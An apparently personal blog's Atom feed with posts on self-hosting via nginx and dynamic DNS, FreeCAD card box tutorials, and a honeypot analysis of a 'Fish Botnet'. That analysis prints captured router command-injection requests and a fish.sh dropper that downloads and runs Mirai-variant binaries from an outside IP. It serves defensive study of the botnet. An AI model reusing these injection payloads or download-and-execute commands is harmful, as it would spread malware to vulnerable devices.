<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.9.0">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml" /><link href="/" rel="alternate" type="text/html" /><updated>2026-04-06T11:53:59+01:00</updated><id>/feed.xml</id><title type="html">Libreium</title><entry><title type="html">Self-hosting with subdomains</title><link href="/howto/2026/01/03/how-to-selfhost-subsomains.html" rel="alternate" type="text/html" title="Self-hosting with subdomains" /><published>2026-01-03T09:25:33+00:00</published><updated>2026-01-03T09:25:33+00:00</updated><id>/howto/2026/01/03/how-to-selfhost-subsomains</id><content type="html" xml:base="/howto/2026/01/03/how-to-selfhost-subsomains.html">&lt;p&gt;If like me you have several self hosted services, one challenge you may face is having a easy way to access them, this can be extra challenging if you have a single non fixed IP address.&lt;/p&gt;

&lt;p&gt;One solution is to use &lt;a href=&quot;https://nginx.org&quot;&gt;nginx&lt;/a&gt; as a gateway to the services you are hosting and custom subdomains to manage access to them.&lt;/p&gt;

&lt;h2 id=&quot;0-my-setup&quot;&gt;0. My setup&lt;/h2&gt;
&lt;p&gt;I have a raspberry pi (the “gateway”) running nginx, ports 80 and 443 are forwarded to my home internet router allowing me HTTPS access to the pi outside of the LAN network.&lt;/p&gt;

&lt;p&gt;I have several Pi’s/PCs running various services (nextcloud, motion camera, home assistant etc)  within my local network, these don’t have any port forwards to the internet, only the “gateway” Pi is exposed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Important&lt;/strong&gt; Make sure you change the default root password to any raspberry pi’s that are exposed to the internet!&lt;/p&gt;

&lt;h2 id=&quot;1-setting-up-dynamic-dns&quot;&gt;1. Setting up Dynamic DNS&lt;/h2&gt;

&lt;p&gt;My ISP does not provide fixed IP addresses to residential customers, so in order to keep track of my networks IP address I am using &lt;a href=&quot;https://freedns.afraid.org/&quot;&gt;freedns.afraid.org&lt;/a&gt; as a Dynamic DNS provider.&lt;/p&gt;

&lt;p&gt;The first step is to create a &lt;a href=&quot;https://freedns.afraid.org/subdomain/&quot;&gt;subdomain&lt;/a&gt; with one of their domains, setting the destination as my public IP address.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/img/selfhost-subdomains/freedns-add-subdomain.png&quot;&gt;&lt;img src=&quot;/assets/img/selfhost-subdomains/freedns-add-subdomain.png&quot; alt=&quot;Creating subdomain in freedns&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next I need to keep the dynamic DNS updated with my networks IP.&lt;/p&gt;

&lt;p&gt;Freedns provides a unique link for each DNS record, HTTP GET requests to the link will update the records destination IP with the IP that performed the GET request.&lt;/p&gt;

&lt;p&gt;The update link for our Dynamic DNS subdomain can be found under the &lt;a href=&quot;https://freedns.afraid.org/dynamic/&quot;&gt;Dynamic DNS&lt;/a&gt; section of freedns.afraid.org.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Important&lt;/strong&gt; Keep this link private as anyone with it will be able to change the IP address of your DNS record!&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/img/selfhost-subdomains/freedns-dynamic.png&quot;&gt;&lt;img src=&quot;/assets/img/selfhost-subdomains/freedns-dynamic.png&quot; alt=&quot;Getting unique update link for freedns&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After getting the update link I created a cron job on the gateway that uses cURL to periodically perform HTTP get requests to the update link.&lt;/p&gt;

&lt;p&gt;If my IP address changes, then the cron job will update the DNS record with the new IP. For debugging I setup the script to output the response from the update link to a file, this is not necessary but useful to monitor changes to the IP and make sure it is being updated correctly.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl https://freedns.afraid.org/dynamic/update.php?TOKEN &amp;gt; /home/jack/cron/log/ip-update/$(date '+%Y-%m-%d_%H-%M-%S')
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;2-setting-up-custom-subdomains&quot;&gt;2. Setting up custom subdomains&lt;/h2&gt;

&lt;p&gt;I have a domain registered with &lt;a href=&quot;123-reg.co.uk&quot;&gt;123-reg.co.uk&lt;/a&gt; which I setup subdomains on to access my self-hosted services.&lt;/p&gt;

&lt;p&gt;I created a CNAME record (named &lt;strong&gt;selfhost&lt;/strong&gt;) which points to the dynamic DNS record (&lt;strong&gt;mysub.twilightparadox.com&lt;/strong&gt;) setup in section 1&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/img/selfhost-subdomains/123-dns.png&quot;&gt;&lt;img src=&quot;/assets/img/selfhost-subdomains/123-dns.png&quot; alt=&quot;Adding custom subdomain to 123-reg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;CNAME records act like an alias to another DNS record, so in my example &lt;strong&gt;selfhost.example.com&lt;/strong&gt; resolves as &lt;strong&gt;mysub.twilightparadox.com&lt;/strong&gt; which resolves as my networks public IP address. Which esentially means my subdomain &lt;strong&gt;selfhost.example.com&lt;/strong&gt; resolves as my public IP&lt;/p&gt;

&lt;h2 id=&quot;3-setting-up-nginx&quot;&gt;3. Setting up Nginx&lt;/h2&gt;

&lt;p&gt;Now we have a subdomain that points to our public IP we need to setup nginx on the gateway to receive incoming HTTP requests and to pass them onto the various self-hosted services&lt;/p&gt;

&lt;p&gt;After installing nginx we need to create a configuration file for our service:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;server{
	listen 80;
	server_name selfhost.example.com;
	resolver 192.168.0.1;
	location / {
		proxy_pass http://192.168.0.10:8080;
	}
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This config uses &lt;strong&gt;proxy_pass&lt;/strong&gt;, when nginx receives a request for &lt;strong&gt;selfhost.example.com&lt;/strong&gt; it will pass the request to the ip/port in the &lt;strong&gt;location&lt;/strong&gt; section. This IP can be on the same computer that is running nginx or a separate computer running on the local network.&lt;/p&gt;

&lt;p&gt;Save the config to &lt;strong&gt;/etc/nginx/sites-available/selfhost.example.com&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;After saving the config file we need to enable the site, to do this we need to create a symbolic link of the configuration file in &lt;strong&gt;/etc/nginx/sites-enabled&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo ln -s /etc/nginx/sites-available/nextcloud /etc/nginx/sites-enabled/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then restart nginx&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo systemctl restart nginx.service 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; My installation of nginx has sites-enabled included in nginx.conf by default, some distributions may not.&lt;/p&gt;

&lt;p&gt;Make sure you have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;include /etc/nginx/sites-enabled/*;&lt;/code&gt; in &lt;strong&gt;/etc/nginx/nginx.conf&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;After restarting nginx you should be able to access the service proxy_pass is pointing to from the custom subdomain setup in section 2&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/img/selfhost-subdomains/nextcloud.png&quot;&gt;&lt;img src=&quot;/assets/img/selfhost-subdomains/nextcloud.png&quot; alt=&quot;Nextcloud accessible from selfhost.example.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You might find it doesn’t work immediately due DNS propagation delays, it can take time for changes to the DNS records to be updated across all DNS servers worldwide&lt;/p&gt;

&lt;p&gt;To setup more services, you will need to create a custom subdomain that points to the dynamic DNS record setup in section 1, then create a new config file for nginx for the new subdomain.&lt;/p&gt;

&lt;p&gt;For example say I have &lt;strong&gt;home-assistant&lt;/strong&gt; running on a Pi with the local address 192.168.0.11, I could create a subdomain named &lt;strong&gt;ha&lt;/strong&gt; that has the value &lt;strong&gt;mysub.twilightparadox.com&lt;/strong&gt; then create the following nginx config&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;server{
	listen 80;
	server_name ha.example.com;
	resolver 192.168.0.1;
	location / {
		proxy_pass http://192.168.0.11:80;
	}
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When nginx sees a request for &lt;strong&gt;ha.example.com&lt;/strong&gt; it passes it to the address 192.168.0.11 port 80.&lt;/p&gt;

&lt;h2 id=&quot;4-setting-up-ssltls&quot;&gt;4. Setting up SSL/TLS&lt;/h2&gt;

&lt;p&gt;After confirming nginx and the subdomains are working we will need to setup SSL certificates to enable HTTPS&lt;/p&gt;

&lt;p&gt;To do this we can use &lt;a href=&quot;https://certbot.eff.org/&quot; title=&quot;tool tip test&quot;&gt;Certbot&lt;/a&gt; to create SSL certificates and update nginx to use them&lt;/p&gt;

&lt;p&gt;””&lt;/p&gt;

&lt;p&gt;Install Certbot and certbot nginx utility:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo apt-get install certbot python3-certbot-nginx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After installing certbot, we can run the following command to get a certificate for our selected subdomain and have certbot update the nginx configuration&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo certbot --nginx -d selfhost.example.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After running certbot &lt;strong&gt;/etc/nginx/sites-available/selfhost.example.com&lt;/strong&gt; should have been updated:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;server{
	server_name selfhost.example.com;
	location / {
		proxy_pass http://192.168.0.10:8080;
	}


    listen 443 ssl; # managed by Certbot
    ssl_certificate /etc/letsencrypt/live/selfhost.example.com/fullchain.pem; # managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/selfhost.example.com/privkey.pem; # managed by Certbot
    include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot
    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot

}

server{
    if ($host = selfhost.example.com) {
        return 301 https://$host$request_uri;
    } # managed by Certbot


	listen 80;
	server_name selfhost.example.com;
    return 404; # managed by Certbot
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Restart nginx&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo systemctl restart nginx.service
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;HTTPS should now be enabled on the subdomain, Verified by let’s encrypt.&lt;/p&gt;

&lt;p&gt;Certificates are only valid for 90 days, certbot should create a cron job to auto renew the certificates. You can also manually renew them with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo certbot renew&lt;/code&gt;&lt;/p&gt;</content><author><name></name></author><category term="HowTo" /><category term="selfhost" /><category term="nginx" /><category term="howto" /><summary type="html">If like me you have several self hosted services, one challenge you may face is having a easy way to access them, this can be extra challenging if you have a single non fixed IP address.</summary></entry><entry><title type="html">Universal card box</title><link href="/projects/2024/06/14/universal-card-box.html" rel="alternate" type="text/html" title="Universal card box" /><published>2024-06-14T10:25:33+01:00</published><updated>2024-06-14T10:25:33+01:00</updated><id>/projects/2024/06/14/universal-card-box</id><content type="html" xml:base="/projects/2024/06/14/universal-card-box.html">&lt;p&gt;Tutorial for Universal card box project that you can find on my &lt;a href=&quot;https://www.thingiverse.com/thing:6669379&quot;&gt;thingiverse page&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;prerequisites&quot;&gt;Prerequisites&lt;/h3&gt;
&lt;hr /&gt;
&lt;p&gt;This project was developed in FreeCAD 0.21.2 it should be compatible with version 0.21.0 and later. FreeCAD, an open-source 3D parametric modeler, can be downloaded from &lt;a href=&quot;https://www.freecad.org/&quot;&gt;freecad.org&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;how-to-configure&quot;&gt;How to configure&lt;/h3&gt;
&lt;hr /&gt;
&lt;p&gt;The FreeCAD project contains 3 parts, a lid, box body with divider slots and a divider to separate cards.&lt;/p&gt;

&lt;p&gt;You can modify the box dimensions via the spreadsheet stored in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Data&lt;/code&gt; folder within the project&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/img/uni-card-box/startup.png&quot;&gt;&lt;img src=&quot;/assets/img/uni-card-box/startup.png&quot; alt=&quot;startup&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Double clicking on the spreadsheet will open it in a new page:
&lt;a href=&quot;/assets/img/uni-card-box/spreadsheet.png&quot;&gt;&lt;img src=&quot;/assets/img/uni-card-box/spreadsheet.png&quot; alt=&quot;Project Spreadsheet&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The spreadsheet contains 15 variables that can be adjusted to modify the model:
`&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Width&lt;/code&gt; : Width of the box&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Length&lt;/code&gt; : Length of the box&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Height&lt;/code&gt; : Height of the box&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WallThickness&lt;/code&gt; : Thickness of the box wall&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DividerStartDist&lt;/code&gt; Distance of first slot from the front of the box&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DividerCount&lt;/code&gt; Number of divider slots&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DividerDist&lt;/code&gt; Linear pattern distance of the divider slots&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DividerSlotDepth&lt;/code&gt; : Depth of the divider slots&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DividerThickness&lt;/code&gt; : Thickness of the divider&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DividerTol&lt;/code&gt; : Divider tolerance, this value is subtracted/added to parts of the divider/divider slots to allow for printer inaccuracies overshoot etc.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DividerTopHeight&lt;/code&gt; : Height of the top section of the divider&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DividerTabHeight&lt;/code&gt; : Height of the tab on top of the divider&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DividerTabWidth&lt;/code&gt; : Width of the tab on top of the divider&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DividerTabLeft&lt;/code&gt; : Height of the tab on top of the divider&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LidDepth&lt;/code&gt; : Depth of the lid over the box&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt; Don’t set any value to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0mm&lt;/code&gt; as this will cause FreeCAD to fail to compute the objects&lt;/p&gt;

&lt;p&gt;Values entered into the spreadsheet need to be in the following format: =&lt;em&gt;value&lt;/em&gt;mm e.g. to set height of the box to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;100mm&lt;/code&gt; change &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Height&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=100mm&lt;/code&gt;. Without the = or units FreeCAD will fail to compute the objects&lt;/p&gt;

&lt;h5 id=&quot;box-dimensions&quot;&gt;Box Dimensions&lt;/h5&gt;
&lt;p&gt;&lt;a href=&quot;/assets/img/uni-card-box/box-drawing.png&quot;&gt;&lt;img src=&quot;/assets/img/uni-card-box/box-drawing.png&quot; alt=&quot;Box Drawing&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you want to generate a box without divider slots, set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DividerSlotDepth&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0.001mm&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If you want to generate a box without a lid, set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LidDepth&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0.001mm&lt;/code&gt; (note the lid will still be generated in the project you can ignore it when exporting)&lt;/p&gt;

&lt;p&gt;The dimensions of the lid will automatically update to fit over the box with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2mm&lt;/code&gt; tolerance&lt;/p&gt;

&lt;h5 id=&quot;divider-dimensions&quot;&gt;Divider Dimensions&lt;/h5&gt;
&lt;p&gt;&lt;a href=&quot;/assets/img/uni-card-box/divider-drawing.png&quot;&gt;&lt;img src=&quot;/assets/img/uni-card-box/divider-drawing.png&quot; alt=&quot;Divider Drawing&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Currently the project only generates one object for the divider.&lt;br /&gt;
If you want multiple dividers with different tab positions, you’ll need to generate and export a separate divider for each desired tab position&lt;/p&gt;

&lt;p&gt;If you want to generate a divider without a tab set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DividerTabHeight&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0.001mm&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;exporting-for-3d-printing&quot;&gt;Exporting for 3D printing&lt;/h3&gt;
&lt;p&gt;3D model parts can be found in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;models&lt;/code&gt; folder in the project. 
To export objects for printing, expand &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;models&lt;/code&gt; folder and select the part you want to export&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/img/uni-card-box/select-box.png&quot;&gt;&lt;img src=&quot;/assets/img/uni-card-box/select-box.png&quot; alt=&quot;Select Body&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Click File Export&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/img/uni-card-box/file-export.png&quot;&gt;&lt;img src=&quot;/assets/img/uni-card-box/file-export.png&quot; alt=&quot;File Export menu&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Set the file type as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;STL Mesh (*.stl *.ast)&lt;/code&gt; in the export file window, and click save.
&lt;a href=&quot;/assets/img/uni-card-box/file-save.png&quot;&gt;&lt;img src=&quot;/assets/img/uni-card-box/file-save.png&quot; alt=&quot;File Export dialog&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;license&quot;&gt;License&lt;/h3&gt;
&lt;p&gt;This work (Universal card box) is licensed under CC BY-SA 4.0&lt;/p&gt;</content><author><name></name></author><category term="Projects" /><category term="FreeCAD" /><category term="3d-printng" /><category term="things-to-make" /><summary type="html">Tutorial for Universal card box project that you can find on my thingiverse page</summary></entry><entry><title type="html">Fish Botnet</title><link href="/malware/2024/01/21/fish-botnet.html" rel="alternate" type="text/html" title="Fish Botnet" /><published>2024-01-21T09:25:33+00:00</published><updated>2024-01-21T09:25:33+00:00</updated><id>/malware/2024/01/21/fish-botnet</id><content type="html" xml:base="/malware/2024/01/21/fish-botnet.html">&lt;p&gt;The honey pot has caught a fish, so I guess its more of a fishing net?&lt;/p&gt;

&lt;p&gt;It has logged two entries from a “fish botnet”&lt;/p&gt;

&lt;p&gt;The first attack appears to be attempting to exploit a &lt;a href=&quot;https://www.akamai.com/blog/security-research/cve-2023-26801-exploited-spreading-mirai-botnet&quot;&gt;vulnerability in LB-LINK routers.&lt;/a&gt; It does this by performing a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/goform/set_LimitClient_cfg&lt;/code&gt; and injects commands into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mac&lt;/code&gt; field.&lt;/p&gt;

&lt;p&gt;The command causes the device to download and execute the malware.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;07:51:59.583 Handling POST to /goform/set_LimitClient_cfg request from 96.127.160.234
&amp;gt;&amp;gt;&amp;gt;Headers: HoneyPotIp:8080 t.me/DeltaApi 150 user=admin gzip 
&amp;gt;&amp;gt;&amp;gt;Body: time1=00:00-00:00&amp;amp;time2=00:00-00:00&amp;amp;mac=; cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://193.111.248.58/mipsel; chmod 777 mipsel; ./mipsel
07:51:59.584 completed response status 200
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The second entry performs a similar attack but looks like its attempting to exploit vulnerabilities in &lt;a href=&quot;https://openwrt.org/docs/guide-user/luci/start&quot;&gt;LuCI web interface&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;09:10:53.617 Handling POST to /cgi-bin/luci/;stok=/locale?form=country request from 194.48.250.103
&amp;gt;&amp;gt;&amp;gt;Headers: identity application/x-www-form-urlencoded 152 HoneyPotIp:8080 Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0 close 
&amp;gt;&amp;gt;&amp;gt;Body: operation=write&amp;amp;country=$(id&amp;gt;`cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; 193.111.248.58/fish.sh; chmod 777 fish.sh; sh fish.sh; history -c`)
09:10:53.619 completed response status 200
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This attack is slightly different to the first, but is more common to what we have seen in the past. This attack downloads and runs a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sh&lt;/code&gt; (named fish.sh) file rather than downloading the malware binary directly. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sh&lt;/code&gt; file is used to download and run the malware compiled for different architectures&lt;/p&gt;

&lt;p&gt;&lt;em&gt;fish.sh:&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cd /tmp; cd /run; cd /root; cd /; wget http://193.111.248.58/mipsel; chmod 777 mipsel; ./mipsel
cd /tmp; cd /run; cd /root; cd /; wget http://193.111.248.58/mips; chmod 777 mips; ./mips
cd /tmp; cd /run; cd /root; cd /; wget http://193.111.248.58/arm; chmod 777 arm; ./arm
cd /tmp; cd /run; cd /root; cd /; wget http://193.111.248.58/arm5; chmod 777 arm5; ./arm5
cd /tmp; cd /run; cd /root; cd /; wget http://193.111.248.58/arm6; chmod 777 arm6; ./arm6
cd /tmp; cd /run; cd /root; cd /; wget http://193.111.248.58/arm7; chmod 777 arm7; ./arm7
cd /tmp; cd /run; cd /root; cd /; wget http://193.111.248.58/x86_64; chmod 777 x86_64; ./x86_64
cd /tmp; cd /run; cd /root; cd /; wget http://193.111.248.58/i686; chmod 777 i686; ./i686
cd /tmp; cd /run; cd /root; cd /; wget http://193.111.248.58/1586; chmod 777 1586; ./1586
cd /tmp; cd /run; cd /root; cd /; wget http://193.111.248.58/sh4; chmod 777 sh4; ./sh4
cd /tmp; cd /run; cd /root; cd /; wget http://193.111.248.58/arc; chmod 777 arc; ./arc

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This appears to be yet another &lt;a href=&quot;https://en.wikipedia.org/wiki/Mirai_(malware)&quot;&gt;Mirai&lt;/a&gt; variant, possibly based on Moobot or Satori.
By using &lt;a href=&quot;https://ghidra-sre.org/&quot;&gt;Ghidra&lt;/a&gt; we can see it contains the string &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;w5q6he3dbrsgmclkiu4to18npavj702f&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/img/fish-botnet/strings.png&quot;&gt;&lt;img src=&quot;/assets/img/fish-botnet/strings.png&quot; alt=&quot;Strings&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This string also appears to be found in &lt;a href=&quot;https://threatpost.com/moobot-botnet-hikvision-surveillance-systems/176879/&quot;&gt;Moobot variants&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Most of the web-servers that are used to host malware either don’t contain HTML pages or are just left with the default pages for Apache HTTP or nginx etc&lt;/p&gt;

&lt;p&gt;Interestingly this server does contain an index page which displays a picture of a fish&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;utf-8&quot; /&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
    &amp;lt;title&amp;gt;Fish Botnet&amp;lt;/title&amp;gt; &amp;lt;!-- Title of the webpage --&amp;gt;
    &amp;lt;style type=&quot;text/css&quot;&amp;gt;
        html, body {
            height: 100%;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            background-color: #121212; /* Dark background */
            color: #ffffff; /* Light text color for contrast */
            font-family: monospace;
        }
        .centered {
            text-align: center;
        }
        img {
            width: 1000px;
            height: 1000px;
        }
    &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;centered&quot;&amp;gt;
        &amp;lt;text&amp;gt;Available&amp;lt;/text&amp;gt;
        &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;/&quot;&amp;gt;&amp;lt;img src=&quot;fishy.png&quot; alt=&quot;fish&quot; width=&quot;1000&quot; height=&quot;1000&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Say hello to fishy the fish&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/img/fish-botnet/fish-botnet-index.png&quot;&gt;&lt;img src=&quot;/assets/img/fish-botnet/fish-botnet-index.png&quot; alt=&quot;Fishy the fish&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Fishy should be a reminder to us all to keep firmware updated, change default passwords and restrict access to devices that don’t need to be exposed to the internet.&lt;/p&gt;</content><author><name></name></author><category term="malware" /><category term="malware" /><category term="reverse-engineering" /><category term="honey-pot" /><category term="ghidra" /><summary type="html">The honey pot has caught a fish, so I guess its more of a fishing net?</summary></entry><entry><title type="html">Universal card tray</title><link href="/projects/2023/12/20/universal-card-tray.html" rel="alternate" type="text/html" title="Universal card tray" /><published>2023-12-20T09:25:33+00:00</published><updated>2023-12-20T09:25:33+00:00</updated><id>/projects/2023/12/20/universal-card-tray</id><content type="html" xml:base="/projects/2023/12/20/universal-card-tray.html">&lt;p&gt;Tutorial for Universal card tray project that you can find on my &lt;a href=&quot;https://www.thingiverse.com/thing:6390807&quot;&gt;thingiverse page&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;prerequisites&quot;&gt;Prerequisites&lt;/h3&gt;
&lt;hr /&gt;
